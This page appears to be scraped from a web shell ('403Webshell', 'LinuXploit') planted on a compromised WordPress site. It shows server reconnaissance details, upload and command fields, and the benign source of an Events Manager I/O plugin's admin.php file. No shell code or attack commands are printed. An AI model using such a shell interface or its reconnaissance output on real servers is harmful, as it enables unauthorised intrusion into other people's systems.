403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tgnew/wp-content/plugins/events-manager-io/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tgnew/wp-content/plugins/events-manager-io/admin/admin.php
<?php
/**
 * Handles the loading of the Admin user interface for Imports and Exports
 */
class EMIO_Admin {
	public static function init(){
		add_action('admin_menu','EMIO_Admin::admin_menu', 100);
		add_action('admin_enqueue_scripts', 'EMIO_Admin::enqueue_scripts' );
		//load things early if nonce is submitted, since we're performing an action
		if( !empty($_REQUEST['emio_import_nonce']) ){
			EMIO_Loader::import_admin();
		}elseif( !empty($_REQUEST['emio_export_nonce']) ){
			EMIO_Loader::export_admin();
		}elseif( !empty($_REQUEST['emio_settings_nonce']) ){
		    EMIO_Loader::admin_settings();
        }
		add_filter('set-screen-option', 'EMIO_Admin::set_screen_option', 10, 3);
	}
	
	public static function admin_menu() {
	    global $menu;
	    //get priority of EM Events page
        $position = 27;
        foreach( $menu as $pos => $menu_item ){
            if( $menu_item[2] == 'edit.php?post_type='.EM_POST_TYPE_EVENT ) $position = $pos;
        }
        $plugin_name = __('Events Manager I/O', 'events-manager-io');
        $page_name = 'events-manager-io-import';
	    add_menu_page($plugin_name, __('Events I/O', 'events-manager-io'), 'manage_options', $page_name, 'EMIO_Admin::import', 'dashicons-networking', $position);
		$import_hook = add_submenu_page($page_name, $plugin_name.' - '. __('Import','events-manager-io'),__('Import','events-manager-io'), 'manage_options', $page_name, 'EMIO_Admin::import');
		$export_hook = add_submenu_page($page_name, $plugin_name.' - '. __('Export','events-manager-io'),__('Export','events-manager-io'), 'manage_options', 'events-manager-io-export', 'EMIO_Admin::export');
        add_submenu_page($page_name, $plugin_name.' - '. __('Settings','events-manager-io'),__('Settings','events-manager-io'), 'manage_options', 'events-manager-io-settings', 'EMIO_Admin::settings');
        //screen options
		if( !empty($_GET['tab']) && $_GET['tab'] == 'history' ){
			add_action( "load-$import_hook", 'EMIO_Admin::set_logs_screen_option' );
			add_action( "load-$export_hook", 'EMIO_Admin::set_logs_screen_option' );
		}
		if( empty($_GET['tab']) && empty($_GET['view']) ){
			add_action( "load-$import_hook", 'EMIO_Admin::set_items_screen_option' );
			add_action( "load-$export_hook", 'EMIO_Admin::set_items_screen_option' );
		}
	}

	/**
	 * Screen options
	 */
	public static function set_logs_screen_option() {
		$args   = array(
			'label'   => __('History Items Per Page','events-manager-io'),
			'default' => 20,
			'option'  => 'emio_logs_per_page'
		);
		add_screen_option( 'per_page', $args );
	}
	
	/**
	 * Screen options
	 */
	public static function set_items_screen_option() {
		$args   = array(
			'label'   => __('Imports/Exports Per Page','events-manager-io'),
			'default' => 20,
			'option'  => 'emio_items_per_page'
		);
		add_screen_option( 'per_page', $args );
	}
	
	public static function set_screen_option($status, $option, $value) {
		if ( 'emio_logs_per_page' == $option ) return $value;
		if ( 'emio_items_per_page' == $option ) return $value;
		return $status;
		
	}
	
	public static function enqueue_scripts( $hook ){
		if( !empty($_REQUEST['page']) && preg_match('/^events\-manager\-io/', $_REQUEST['page']) ){
			$min = defined('WP_DEBUG') && WP_DEBUG ? '':'.min';
            wp_enqueue_style( 'select2', plugin_dir_url( __FILE__ ) . "css/select2{$min}.css", array(), "4.0.3" );
            wp_enqueue_script( 'select2', plugin_dir_url( __FILE__ ) . "js/select2{$min}.js", array('jquery'), "4.0.3" );
			wp_enqueue_style( 'events-manager-io', plugin_dir_url( __FILE__ ) . 'css/events-manager-io.css', array(), EMIO_VERSION );
			wp_enqueue_script( 'events-manager-io', plugin_dir_url( __FILE__ ) . 'js/events-manager-io.js', array('jquery','jquery-ui-core','jquery-ui-widget','jquery-ui-mouse','jquery-ui-sortable'), EMIO_VERSION );
		}
		wp_localize_script('events-manager-io', 'EMIO', array('google_api'=>EMIO_Options::get('google_server_key') !== ''));
	}
	
	public static function import(){
		EMIO_Loader::import_admin();
		EMIO_Admin_Import::init();
	}
	
	public static function export(){
		EMIO_Loader::export_admin();
		EMIO_Admin_Export::init();
	}

    public static function settings(){
        EMIO_Loader::admin_settings();
        EMIO_Admin_Settings::main();
    }
}
EMIO_Admin::init();

Youez - 2016 - github.com/yon3zu
LinuXploit